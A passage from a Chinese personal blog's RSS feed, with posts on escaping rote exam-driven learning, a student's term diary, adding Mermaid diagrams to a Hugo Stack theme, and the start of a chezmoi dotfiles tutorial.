&lt;/h3&gt;</description></item><item><title>逃离应试教育，重新学会怎么思考</title><link>https://v3n0.com/post/2026/learning-method/</link><pubDate>Thu, 12 Feb 2026 04:25:01 +0800</pubDate><guid>https://v3n0.com/post/2026/learning-method/</guid><description>&lt;p&gt;应试教育是一个只奖励记忆力的教育系统。&lt;/p&gt;
&lt;p&gt;本文由上一篇&lt;a class="link" href="https://v3n0.com/post/2026/third-term-of-college-2/#%e5%85%b3%e4%ba%8e%e5%a6%82%e4%bd%95%e5%ad%a6%e4%b9%a0" target="_blank" rel="noopener"
&gt;关于大二上的随笔 - 2&lt;/a&gt;分离出。&lt;/p&gt;
&lt;p&gt;到大学之后才发现，经历了几年应试教育的荼毒之后，自己已经忘记了怎么像正常人一样说话，像正常人一样思考了。因此不得不思考这样一个问题：&lt;/p&gt;
&lt;h2 id="怎样才是正常人的学习思路"&gt;怎样才是正常人的学习思路？
&lt;/h2&gt;&lt;p&gt;直到现在，才能阶段性给出一个自己满意的答案。&lt;/p&gt;
&lt;h3 id="不使用任何未被动机化的概念"&gt;不使用任何未被动机化的概念
&lt;/h3&gt;&lt;p&gt;关于这一句，一开始我总结成两点：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;不引入任何未被定义的变量，任何时候都能用自然语言表达当前目的&lt;/em&gt;&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;写博客时发现其实可以被压缩成标题的这样一句。因为把&lt;strong&gt;未定义&lt;/strong&gt;升级为&lt;strong&gt;未动机化&lt;/strong&gt;时，第一点自然可以坍缩为第二点的一部分。一个概念之所以“被动机化”，恰恰是因为它服务于一个可以被说清楚的目的。&lt;/p&gt;
&lt;p&gt;反过来说，如果我用自然语言说不清“我现在要干什么”，那我引入的任何新概念，在思维上必然是悬空的，即使它在符号层面被严格定义了。&lt;/p&gt;
&lt;p&gt;并且需要否定的观点是，“只要能用自然语言把符号念一遍，就算理解了”。比如：对信号做拉普拉斯变换，在线性空间中定义加法，等等。这种自然语言本质上只是换了一套符号系统，并没有增加任何语义密度。这里的自然语言，必须是已经完成一次抽象与压缩后的表达。&lt;/p&gt;
&lt;p&gt;至少需要满足这样的条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不依赖当前引入的符号本身，用“因为定义如此”来解释定义。&lt;/li&gt;
&lt;li&gt;保留因果和目的，必须回答：为什么要这么做，而不是别的做法。&lt;/li&gt;
&lt;li&gt;可以脱离具体形式存在&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此可以用这样的办法检验：&lt;strong&gt;如果暂时忘掉所有公式和符号，仍然能够说明自己正在解决什么问题，以及为什么当前引入的概念是必要的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;但这是中国非常多的教材做的事。举一个绝对反例：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/learning-method/image.png"
width="1322"
height="1648"
srcset="https://v3n0.com/post/2026/learning-method/image_hu_c34a18b5a10b28a6.png 480w, https://v3n0.com/post/2026/learning-method/image_hu_522f7d5008b7cba2.png 1024w"
loading="lazy"
alt="某本线性代数教材"
class="gallery-image"
data-flex-grow="80"
data-flex-basis="192px"
&gt;&lt;/p&gt;
&lt;p&gt;第一章标题是行列式。但行列式在整个线性代数体系里是一个高度派生的对象。要出现行列式，至少先得出现：线性映射，线性方程组的结构性问题，可逆性的判定需求，体积/定向/行变换不变量的概念之一。但这本书在干什么？直接从“解二元线性方程组的消元计算”中，硬抠出一个代数表达式，然后给它命名。&lt;/p&gt;
&lt;p&gt;我们说，不使用任何未被动机化的概念，这里恰好满足所有未被动机化的判据。当前的目标根本不需要它。此时的目标是解一个二元线性方程组。用消元法已经解完了。到这里为止，一切都是自然的。但接下来发生了什么？它在“本该停下”的地方强行引入新对象。&lt;/p&gt;
&lt;p&gt;书说：“这个表达式我们把它叫做二阶行列式”。但问题是：为什么要叫？&lt;/p&gt;
&lt;p&gt;没有任何新的问题要解决，没有在比较不同方程组，没有在讨论解是否稳定，没有在讨论结构不变性&lt;/p&gt;
&lt;p&gt;于是这个“命名”是无动机的。&lt;/p&gt;
&lt;p&gt;行列式真正合理的生成路径是这样的：&lt;/p&gt;
&lt;p&gt;我们想知道一个线性变换是否压扁了空间 -&amp;gt; 是否把体积压成 0 -&amp;gt; 是否不可逆 -&amp;gt; 是否存在非零解 -&amp;gt; 需要一个对行变换行为可控的标量不变量 -&amp;gt; 行列式&lt;/p&gt;
&lt;p&gt;而教材给的是：&lt;/p&gt;
&lt;p&gt;四个数两两相乘再相减 -&amp;gt; 记住这个公式，它很重要&lt;/p&gt;
&lt;p&gt;线性代数合理的起点应该是什么，我并不知道，但至少要满足“动机先行”。&lt;/p&gt;
&lt;h3 id="由目的和公理出发形成递归式思路"&gt;由目的和公理出发形成递归式思路
&lt;/h3&gt;&lt;p&gt;这一点事实上应当可以被上一点引出。&lt;/p&gt;
&lt;p&gt;为什么说上面的教学方式严重污染学习者的认知？因为这一步在做的事是：“重要的东西 = 一串复杂公式”，而不是：“重要的东西 = 解决一个已经感到棘手的问题的必要结构”&lt;/p&gt;
&lt;p&gt;这种教学方式的问题不在于我的个人偏好或者什么教学风格，而是这样的教学是客观有害的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;它破坏了信息压缩的可能性&lt;/strong&gt;！长此以往，学生会形成一种注定不可拓展的认知编码模式。&lt;/p&gt;
&lt;p&gt;复杂被灌输为深刻，公式多而难记被灌输为核心重点，能背下来被当成是学会了。这简直是种认知污染。&lt;/p&gt;
&lt;p&gt;什么叫信息压缩？我们在学习任何学科时，实际上真正想做的事情就是信息压缩：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;把一个知识体系压缩成：最小生成元 + 生成规则&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这是唯一一种可以拓展的学习方式。否则每个公式都是一个终态，终态之间没有生成关系，无法合并复用，整个体系是一堆互不相干的字符串，从信息论上就是不可压缩的输入。&lt;/p&gt;
&lt;p&gt;我们学习概念的过程应当是这样的：我们遇到了一个反复出现的很麻烦的问题，现在已经有的工具解决不了，因此我们抽象出这样一个操作，简化我们的描述。此时我们记住的不是具体形式，而是在什么条件下，自然演变出这样的形式。存在硬盘里的是 when, how, where, 形式细节可以被重新生成。&lt;/p&gt;
&lt;p&gt;这就是为什么说递归式思路是可拓展的。用这样的思路学习，才会是快速，思路清晰，并且可以被长期记忆的。&lt;/p&gt;
&lt;h2 id="为什么应试教育导致了这种结局"&gt;为什么应试教育导致了这种结局？
&lt;/h2&gt;&lt;p&gt;应试教育的根本原因是官本位，官本位导致的教育就是应试教育。为什么这么说？&lt;/p&gt;
&lt;p&gt;谁是客户决定了一切。任何系统都会优化它真正被考核的对象，这就像强化学习，模型会最大化奖励函数的期望值，而不一定是真正目标。&lt;/p&gt;
&lt;p&gt;市场教育，客户是企业。官僚教育，客户是上级领导的指标。没错，客户并不是学生本身，教育系统并不为“学生是否变成完整的人”负责，只为是否合格完成交付负责。&lt;/p&gt;
&lt;p&gt;在官本位的情况下，教育不需要向市场负责，而是需要向官员负责。因此每一层只需要让自己的上一层满意，不需要对下负责。一旦教育不需要为学生能不能干活负责，而只需要为&lt;strong&gt;指标是否完成&lt;/strong&gt;负责，结局是必然的。&lt;/p&gt;
&lt;p&gt;这样来看，应试教育并不是失败，而是极端高效的成功，在当前的约束条件下，应试教育是最优策略。因为向上负责的系统，只能选择“可量化、可汇报、可比较”的东西。&lt;/p&gt;
&lt;p&gt;考试，可以量化，可以排名，可以用一页 PPT 汇报，可以跨地区标准化对齐。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;官僚教育经过几十年的在固定奖励函数下的长期强化学习，同样完成了一次信息压缩&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这个系统的奖励函数非常清晰：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+1：分数提升
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+1：升学率提高
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+1：指标完成
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0：学生是否理解
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0：是否具备生成和转化能力
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0：是否能应对真实问题
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;于是经过几十年的“训练”，系统自然学会了：最大化可压缩信息（公式，套路），最小化不可验证变量（理解，动机），把高度抽象的对象当作高价值的符号（分数，升学率）。&lt;/p&gt;
&lt;p&gt;应试教育不是失败，而是在“向上负责”的奖励函数下，成功训练出的最优模型。如果继续推，会得到一个让人伤感的事实：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;真正以学生为目标的教育，在大规模系统中几乎不可实现&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;因为动机不可量化，理解没法标准化，生成规则无法汇报，个体差异无法收敛。&lt;/p&gt;
&lt;p&gt;因此真正以学生为目标的的教育，只能存在于师徒制，小规模实践，或者与真实问题强绑定的问题。&lt;/p&gt;</description></item><item><title>关于大二上的随笔 - 2</title><link>https://v3n0.com/post/2026/third-term-of-college-2/</link><pubDate>Tue, 10 Feb 2026 01:16:43 +0800</pubDate><guid>https://v3n0.com/post/2026/third-term-of-college-2/</guid><description>&lt;p&gt;上一篇: &lt;a class="link" href="https://v3n0.com/post/2026/third-term-of-college-1/" target="_blank" rel="noopener"
&gt;关于大二上的随笔 - 1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;相隔一个月的第二篇。&lt;/p&gt;
&lt;p&gt;第一篇写了跟没写一样，实际上这个学期发生的事情太多了, 确实该好好理一下。&lt;/p&gt;
&lt;h2 id="发生了什么"&gt;发生了什么
&lt;/h2&gt;&lt;p&gt;暑假，做导论，直播，招新，倒闭，然后发现身边的人怎么全去写 Rust 和 Web 3 了。&lt;/p&gt;
&lt;p&gt;对于我自己这边，花了一段时间什么代码都没写，重构出 Paramer V2，也许有了自己的一思考软件架构的思路。&lt;/p&gt;
&lt;p&gt;国庆，去西安玩，乡下孩子第一次坐飞机。其实过去最多的活动是各种各样的碳水美食。&lt;/p&gt;
&lt;p&gt;买了个 macbook，好用。11 月份左右开始写 Stripe 应用的 Python 后端模块外包，同时 Paramer 后端开始新增两位人手。这两件事情都有大量的信息值得学习，不仅是技术方面。&lt;/p&gt;
&lt;p&gt;此时本以为可以两面开弓，然而是有意外的。工作进行了一周，开会同步时才发现找来的某所 985 大学某大二学生实际上没有任何实际产出，最后导致我给他兜底。与此同时 Paramer 实际上还存在各种打包之类的杂活，实际上并不能完全脱离开。同时还有大量诸如上课和乒乓球约课，必须跑满的阴暗长爬等琐事&amp;hellip;&lt;/p&gt;
&lt;p&gt;因此这一个多月的工作量是爆掉的，一天掰成两天用。每天八点两眼一睁就是出宿舍，晚上踩着十一二点的门禁才回宿舍，期间是高强度的代码工作，有课就带着 mac 去教室签到，没课就带着 mac 在瑞幸书吧。总之宿舍是能不呆就绝对不呆。&lt;/p&gt;
&lt;p&gt;合租了个房子，除了有点偏，晚上广场舞有点吵以外，都比宿舍好太多了。&lt;/p&gt;
&lt;p&gt;两遍都做的差不多，喘了两口气，又开始研究怎么做这么大一坨的 Python 应用的加密打包。研究一半还没完呢，期末了。算了算，发现期末还是得一天掰成两天用。&lt;/p&gt;
&lt;p&gt;列了个复习计划，考了一半才发现不应该忽视睡觉时间和为了保证不掉 san 的休息时间，最后放弃掉大物和信安数学，准备签个到直接补考。&lt;/p&gt;
&lt;p&gt;为什么不是信号与系统？因为旭哥为了让我不挂科，给我补了三天的私塾，把学校教法 500G 的信息量压缩成 50K 教给我，自己在脑子里解压，直接速通完了，再挂科就丢脸了。甚至直到考试才知道信号与系统用的是英文卷子，也还是过了。期末两周过的像两个月。&lt;/p&gt;
&lt;p&gt;到写这一篇的时候，在干一些开发无关的杂活和面对奇怪的需求补奇怪的特性的杂活，闲时用 golang 写某个&lt;del&gt;直播音频语义事件触发引擎&lt;/del&gt;。&lt;/p&gt;
&lt;h2 id="学到了什么"&gt;学到了什么
&lt;/h2&gt;&lt;p&gt;元旦只想随手稍记录一下技术方面的东西。现在发觉更需要被记录的事情实际上在技术之外。&lt;/p&gt;
&lt;h3 id="关于如何学习"&gt;关于如何学习
&lt;/h3&gt;&lt;p&gt;首先是由这次学习信号与系统产生的反思。怎样才是正常人的学习思路？本文写到这里发现越来越多，因此整理成另一篇文章，&lt;a class="link" href="https://v3n0.com/post/2026/learning-method/" target="_blank" rel="noopener"
&gt;逃离应试教育，重新学会怎么思考&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="关于如何教学"&gt;关于如何教学
&lt;/h3&gt;&lt;h3 id="关于如何工作"&gt;关于如何工作
&lt;/h3&gt;</description></item><item><title>Hugo Stack 主题添加 Mermaid 支持</title><link>https://v3n0.com/post/2026/mermaid-in-stack-theme/</link><pubDate>Sat, 24 Jan 2026 21:46:07 +0800</pubDate><guid>https://v3n0.com/post/2026/mermaid-in-stack-theme/</guid><description>&lt;p&gt;参考:&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://gohugo.io/content-management/diagrams/#mermaid-diagrams" target="_blank" rel="noopener"
&gt;Hugo docs - Diagrams - Mermaid diagrams&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://stack.jimmycai.com/config/header-footer" target="_blank" rel="noopener"
&gt;Stack docs - Custom Header / Footer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/CaiJimmy/hugo-theme-stack/pull/1186" target="_blank" rel="noopener"
&gt;feat: add support for Mermaid diagrams in Markdown content #1186&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;layouts&lt;/code&gt; 添加如下文件:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;&amp;lt;!-- layouts/_markup/render-codeblock-mermaid.html --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;pre&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;mermaid&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {{ .Inner | htmlEscape | safeHTML }}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;pre&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{{ if not (.Page.Scratch.Get &amp;#34;mermaidLoaded&amp;#34;) }}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {{ .Page.Scratch.Set &amp;#34;mermaidLoaded&amp;#34; true }}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;module&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;mermaid&lt;/span&gt; &lt;span class="nx"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.esm.min.mjs&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;mermaid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;startOnLoad&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;neutral&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{{ end }}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;在黑暗模式下显示比较有问题, 我没有折腾比较好的解决方案&lt;/p&gt;</description></item><item><title>Chezmoi 管理和同步多平台 dotfiles</title><link>https://v3n0.com/post/2026/chezmoi/</link><pubDate>Sat, 24 Jan 2026 13:23:38 +0800</pubDate><guid>https://v3n0.com/post/2026/chezmoi/</guid><description>&lt;p&gt;不想每次到新机器都要重新配置所有工具的 &lt;code&gt;~/.config&lt;/code&gt;. 因此使用 Chezmoi.&lt;/p&gt;
&lt;p&gt;Roughly speaking, chezmoi stores the desired state of your dotfiles in the directory &lt;code&gt;~/.local/share/chezmoi&lt;/code&gt;. When you run &lt;code&gt;chezmoi apply&lt;/code&gt;, chezmoi calculates the desired contents for each of your dotfiles and then makes the minimum changes required to make your dotfiles match your desired state.&lt;/p&gt;
&lt;h2 id="installation"&gt;Installation
&lt;/h2&gt;&lt;p&gt;&lt;a class="link" href="https://www.chezmoi.io/install/" target="_blank" rel="noopener"
&gt;chezmoi - Install&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="quick-start"&gt;Quick Start
&lt;/h2&gt;&lt;p&gt;&lt;a class="link" href="https://www.chezmoi.io/quick-start/" target="_blank" rel="noopener"
&gt;chezmoi - Quick Start&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先初始化 chezmoi&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi init
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;将 macOS 的 &lt;code&gt;.zshrc&lt;/code&gt; 加入管理.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi add ~/.zshrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这将复制 &lt;code&gt;~/.zshrc&lt;/code&gt; 到 &lt;code&gt;~/.local/share/chezmoi/dot_zshrc&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tree ~/.local/share/chezmoi/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# /Users/veno/.local/share/chezmoi/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# └── private_dot_zshrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;发现设置成了 &lt;code&gt;private_dot_zshrc&lt;/code&gt;, 意味着后续 &lt;code&gt;chezmoi apply&lt;/code&gt; 的时候 &lt;code&gt;~/.zshrc&lt;/code&gt; 会被设置成 600. 可能 macOS 导致了特殊性?&lt;/p&gt;
&lt;p&gt;没必要私有, 于是可以设置属性:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi chattr noprivate ~/.zshrc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls -la &lt;span class="k"&gt;$(&lt;/span&gt;chezmoi source-path&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# total 16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# drwxr-xr-x@ 4 veno staff 128 Jan 24 13:43 .&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# drwx------ 10 veno staff 320 Jan 24 13:30 ..&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# drwxr-xr-x@ 9 veno staff 288 Jan 24 13:41 .git&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -rw-r--r--@ 1 veno staff 8118 Jan 24 13:33 dot_zshrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;如果要修改, 要么手动修改 &lt;code&gt;nvim ~/.zshrc&lt;/code&gt; 然后重新 &lt;code&gt;chezmoi add ~/.zshrc&lt;/code&gt;, 要么 &lt;code&gt;chezmoi edit ~/.zshrc&lt;/code&gt; 然后 &lt;code&gt;chezmoi apply&lt;/code&gt;. 推荐后者.&lt;/p&gt;
&lt;h3 id="chezmoi-edit"&gt;chezmoi edit
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;chezmoi edit ~/.zshrc&lt;/code&gt; 修改的并不是 &lt;code&gt;~/.zshrc&lt;/code&gt; 而是 &lt;code&gt;~/.local/share/chezmoi/dot_zshrc&lt;/code&gt;, 因此更改并不会立即被应用. 如果要将更改应用到机器,运行 &lt;code&gt;chezmoi apply&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chezmoi edit&lt;/code&gt; 并不会自动创建新的 git 提交, 必须要手动提交.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chezmoi edit&lt;/code&gt; 会使用 &lt;code&gt;$EDITOR&lt;/code&gt; 编辑配置文件.&lt;/p&gt;
&lt;h3 id="chezmoi-cd"&gt;chezmoi cd
&lt;/h3&gt;&lt;p&gt;除了 &lt;code&gt;cd $(chezmoi source-path)&lt;/code&gt;, 事实上可以 &lt;code&gt;chezmoi cd&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;pwd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# /Users/veno/.local/share/chezmoi&lt;/span&gt;
